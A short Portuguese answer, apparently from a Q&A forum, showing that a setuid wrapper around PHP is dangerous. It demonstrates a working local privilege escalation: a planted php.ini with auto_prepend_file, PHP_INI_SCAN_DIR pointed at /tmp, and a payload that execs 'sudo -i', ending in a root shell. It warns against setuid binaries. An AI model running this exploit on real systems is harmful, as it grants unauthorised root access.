Sim, é um risco de segurança.
$ cat <<EOF >/tmp/php.ini
auto_prepend_file=/tmp/owned.php
EOF
$ cat <<EOF >/tmp/owned.php
<?php
echo "Owned\n";
pcntl_exec("/usr/bin/sudo", array("sudo", "-i"));
?>
EOF
$ export PHP_INI_SCAN_DIR="/tmp"
$ /path/to/the/setuid/wrapper
Owned
# id
uid=0(root) gid=0(root) groups=0(root) context=staff_u:sysadm_r:sysadm_t:s0-s0:c0.c1023
E é por isso que você deve evitar o uso de binários setuid.